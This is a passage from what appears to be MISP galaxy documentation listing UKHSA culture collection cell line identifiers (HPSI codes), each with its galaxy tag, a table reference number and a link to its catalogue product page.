https://www.culturecollections.org.uk/nop/product/hpsi0514i-lako_2

HPSI0514i-toco_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-toco_5"*

Table 26308. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-toco_5

HPSI0614i-liqa_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-liqa_1"*

Table 26309. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-liqa_1

HPSI0513i-sucd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-sucd_3"*

Table 26310. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-sucd_3

HPSI0414i-gesg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-gesg_2"*

Table 26311. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-gesg_2

HPSI0514i-vuna_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-vuna_3"*

Table 26312. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-vuna_3

HPSI0513i-bicb_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-bicb_3"*

Table 26313. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-bicb_3

HPSI0513i-momt_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-momt_2"*

Table 26314. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-momt_2

HPSI1013i-woci_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-woci_1"*

Table 26315. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-woci_1

HPSI1014i-tuju_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-tuju_4"*

Table 26316. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-tuju_4

HPSI0614i-ciwj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-ciwj_2"*

Table 26317. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-ciwj_2

HPSI0215i-hipn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-hipn_1"*

Table 26318. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-hipn_1

HPSI0115i-zihe_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-zihe_1"*

Table 26319. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-zihe_1

HPSI0614i-ciwj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-ciwj_1"*

Table 26320. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-ciwj_1

HPSI0215i-hipn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-hipn_2"*

Table 26321. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-hipn_2

HPSI0614i-liqa_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-liqa_6"*

Table 26322. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-liqa_6

HPSI0514i-fiaj_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-fiaj_3"*

Table 26323. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-fiaj_3

HPSI1113i-hajc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-hajc_1"*

Table 26324. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-hajc_1

HPSI0713i-fett_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-fett_3"*

Table 26325. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-fett_3

HPSI0413i-yotv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-yotv_3"*

Table 26326. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-yotv_3

HPSI1213i-hehd_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-hehd_1"*

Table 26327. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-hehd_1

HPSI0914i-verf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-verf_1"*

Table 26328. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-verf_1

HPSI0714i-burb_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-burb_3"*

Table 26329. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-burb_3

HPSI1014i-bilx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-bilx_2"*

Table 26330. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-bilx_2

HPSI0616i-kulz_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-kulz_6"*

Table 26331. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-kulz_6

HPSI0416i-bife_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-bife_2"*

Table 26332. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-bife_2

HPSI1113i-oaaz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-oaaz_3"*

Table 26333. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-oaaz_3

HPSI0316i-tezs_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-tezs_6"*

Table 26334. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-tezs_6

HPSI0914i-qehq_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-qehq_3"*

Table 26335. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-qehq_3

HPSI0514i-fiaj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-fiaj_1"*

Table 26336. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-fiaj_1

HPSI0714i-pipw_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-pipw_4"*

Table 26337. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-pipw_4

HPSI0216i-dewh_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-dewh_6"*

Table 26338. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-dewh_6

HPSI0115i-melw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-melw_2"*

Table 26339. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-melw_2

HPSI0514i-tert_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-tert_1"*

Table 26340. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-tert_1

HPSI0713i-dard_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-dard_1"*

Table 26341. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-dard_1

HPSI0714i-pipw_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-pipw_5"*

Table 26342. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-pipw_5

HPSI0115i-gifk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-gifk_1"*

Table 26343. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-gifk_1

HPSI0516i-eosr_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-eosr_1"*

Table 26344. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-eosr_1

HPSI0714i-burb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-burb_1"*

Table 26345. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-burb_1

HPSI0616i-kulz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-kulz_3"*

Table 26346. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-kulz_3

HPSI0513i-leeh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-leeh_3"*

Table 26347. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-leeh_3

HPSI0115i-melw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-melw_1"*

Table 26348. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-melw_1

HPSI0614i-uilk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-uilk_2"*

Table 26349. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-uilk_2

HPSI0416i-jewl_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-jewl_6"*

Table 26350. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-jewl_6

HPSI0516i-pews_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-pews_3"*

Table 26351. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-pews_3

HPSI0316i-xaqm_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-xaqm_6"*

Table 26352. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-xaqm_6

HPSI0516i-jory_9

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-jory_9"*

Table 26353. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-jory_9

HPSI0516i-iool_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-iool_6"*

Table 26354. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-iool_6

HPSI0416i-mefc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-mefc_2"*

Table 26355. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-mefc_2

HPSI0516i-pews_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-pews_2"*

Table 26356. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-pews_2

HPSI0216i-xanu_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-xanu_6"*

Table 26357. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-xanu_6

HPSI0416i-aicq_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-aicq_4"*

Table 26358. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-aicq_4

HPSI0416i-eapo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-eapo_2"*

Table 26359. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-eapo_2

HPSI0516i-zukb_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-zukb_3"*

Table 26360. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-zukb_3

HPSI0416i-sevr_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-sevr_2"*

Table 26361. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-sevr_2

HPSI0316i-qeti_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-qeti_1"*

Table 26362. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-qeti_1

HPSI0216i-vieg_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-vieg_3"*

Table 26363. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-vieg_3

HPSI0516i-oazw_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-oazw_3"*

Table 26364. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-oazw_3

HPSI0216i-iogu_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-iogu_5"*

Table 26365. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-iogu_5

HPSI0216i-xanu_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-xanu_5"*

Table 26366. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-xanu_5

HPSI0516i-hapz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-hapz_2"*

Table 26367. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-hapz_2

HPSI0416i-jewl_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-jewl_5"*

Table 26368. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-jewl_5

HPSI0416i-cihd_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-cihd_4"*

Table 26369. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-cihd_4

HPSI0416i-sevr_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-sevr_1"*

Table 26370. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-sevr_1

HPSI0416i-ruah_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ruah_5"*

Table 26371. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ruah_5

HPSI0416i-iooi_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-iooi_1"*

Table 26372. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-iooi_1

HPSI0516i-goek_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-goek_4"*

Table 26373. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-goek_4

HPSI0516i-oazw_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-oazw_4"*

Table 26374. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-oazw_4

HPSI0516i-hapz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-hapz_3"*

Table 26375. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-hapz_3

HPSI0416i-zige_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-zige_2"*

Table 26376. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-zige_2

HPSI0316i-muwv_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-muwv_6"*

Table 26377. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-muwv_6

HPSI0516i-jepf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-jepf_3"*

Table 26378. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-jepf_3

HPSI0416i-ourj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ourj_1"*

Table 26379. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ourj_1

HPSI0416i-ruah_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ruah_4"*

Table 26380. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ruah_4

HPSI0216i-vieg_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-vieg_5"*

Table 26381. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-vieg_5

HPSI0316i-ierp_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-ierp_4"*

Table 26382. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-ierp_4

HPSI0216i-tony_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-tony_5"*

Table 26383. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-tony_5

HPSI0516i-eitu_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-eitu_3"*

Table 26384. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-eitu_3

HPSI0416i-zige_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-zige_5"*

Table 26385. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-zige_5

HPSI0216i-aiid_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-aiid_6"*

Table 26386. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-aiid_6

HPSI0216i-aiid_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-aiid_1"*

Table 26387. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-aiid_1

HPSI0416i-fiwt_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-fiwt_3"*

Table 26388. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-fiwt_3

HPSI0316i-muwv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-muwv_3"*

Table 26389. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-muwv_3

HPSI0516i-jepf_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-jepf_5"*

Table 26390. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-jepf_5

HPSI0516i-zukb_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-zukb_2"*

Table 26391. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-zukb_2

HPSI0216i-puxp_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-puxp_1"*

Table 26392. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-puxp_1

HPSI0913i-rufg_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-rufg_3"*

Table 26393. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-rufg_3

HPSI0514i-mure_9

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-mure_9"*

Table 26394. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-mure_9

HPSI0614i-laig_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-laig_1"*

Table 26395. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-laig_1

HPSI0614i-mesr_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-mesr_4"*

Table 26396. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-mesr_4

HPSI0414i-niim_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-niim_3"*

Table 26397. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-niim_3

HPSI0913i-rufg_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-rufg_4"*

Table 26398. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-rufg_4

HPSI0614i-lirf_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lirf_6"*

Table 26399. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lirf_6

HPSI0614i-puhk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-puhk_2"*

Table 26400. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-puhk_2

HPSI0614i-uevq_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-uevq_6"*

Table 26401. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-uevq_6

HPSI0115i-paim_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-paim_1"*

Table 26402. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-paim_1

HPSI0513i-aipt_33

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-aipt_33"*

Table 26403. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-aipt_33

HPSI0413i-coxy_33

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-coxy_33"*

Table 26404. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-coxy_33

HPSI1213i-hehd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-hehd_2"*

Table 26405. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-hehd_2

HPSI1114i-kuul_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-kuul_1"*

Table 26406. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-kuul_1

HPSI0414i-oikd_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oikd_5"*

Table 26407. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oikd_5

HPSI0614i-lepk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lepk_4"*

Table 26408. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lepk_4

HPSI0314i-kujn_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-kujn_5"*

Table 26409. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-kujn_5

HPSI0714i-lutt_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-lutt_6"*

Table 26410. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-lutt_6

HPSI0213i-nawk_55

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0213i-nawk_55"*

Table 26411. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0213i-nawk_55

HPSI1114i-kuul_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-kuul_2"*

Table 26412. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-kuul_2

HPSI0115i-iiyk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iiyk_4"*

Table 26413. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iiyk_4

HPSI0514i-uenn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-uenn_3"*

Table 26414. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-uenn_3

HPSI0614i-lipl_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lipl_5"*

Table 26415. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lipl_5

HPSI0414i-uawq_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-uawq_2"*

Table 26416. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-uawq_2

HPSI0814i-siqu_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0814i-siqu_4"*

Table 26417. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0814i-siqu_4

HPSI0613i-aevs_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-aevs_1"*

Table 26418. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-aevs_1

HPSI1013i-cups_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-cups_3"*

Table 26419. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-cups_3

HPSI0713i-dard_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-dard_2"*

Table 26420. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-dard_2

HPSI0813i-wots_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-wots_3"*

Table 26421. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-wots_3

HPSI0314i-kujn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-kujn_2"*

Table 26422. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-kujn_2

HPSI1013i-zagm_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-zagm_1"*

Table 26423. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-zagm_1

HPSI1014i-vils_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-vils_1"*

Table 26424. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-vils_1

HPSI0714i-keui_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-keui_4"*

Table 26425. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-keui_4

HPSI0115i-iiyk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iiyk_2"*

Table 26426. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iiyk_2

HPSI0413i-peop_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-peop_4"*

Table 26427. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-peop_4

HPSI0613i-hegp_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-hegp_3"*

Table 26428. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-hegp_3

HPSI0713i-aehn_22

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-aehn_22"*

Table 26429. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-aehn_22

HPSI0613i-oomz_22

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-oomz_22"*

Table 26430. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-oomz_22

HPSI0614i-lepk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lepk_1"*

Table 26431. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lepk_1

HPSI0115i-aoxv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-aoxv_1"*

Table 26432. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-aoxv_1

HPSI0813i-peoj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-peoj_1"*

Table 26433. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-peoj_1

HPSI0115i-paim_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-paim_3"*

Table 26434. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-paim_3

HPSI0414i-nolz_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-nolz_4"*

Table 26435. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-nolz_4

HPSI0813i-mioj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-mioj_1"*

Table 26436. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-mioj_1

HPSI0514i-oupf_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-oupf_5"*

Table 26437. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-oupf_5

HPSI1113i-vuud_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-vuud_2"*

Table 26438. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-vuud_2

HPSI0514i-oupf_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-oupf_6"*

Table 26439. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-oupf_6

HPSI0613i-qanu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-qanu_2"*

Table 26440. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-qanu_2

HPSI1213i-pahc_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-pahc_5"*

Table 26441. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-pahc_5

HPSI0115i-gost_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-gost_2"*

Table 26442. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-gost_2

HPSI0714i-keui_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-keui_1"*

Table 26443. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-keui_1

HPSI0115i-iinu_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iinu_3"*

Table 26444. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iinu_3

HPSI0614i-lipl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lipl_2"*

Table 26445. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lipl_2

HPSI0514i-qajt_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-qajt_2"*

Table 26446. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-qajt_2

HPSI0115i-xaka_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-xaka_1"*

Table 26447. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-xaka_1

HPSI0914i-vaka_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-vaka_5"*

Table 26448. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-vaka_5

HPSI0614i-wihj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-wihj_1"*

Table 26449. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-wihj_1

HPSI0215i-zett_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-zett_5"*

Table 26450. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-zett_5

HPSI0614i-lirf_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-lirf_5"*

Table 26451. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-lirf_5

HPSI0614i-kecw_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-kecw_4"*

Table 26452. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-kecw_4

HPSI0614i-voce_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-voce_2"*

Table 26453. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-voce_2

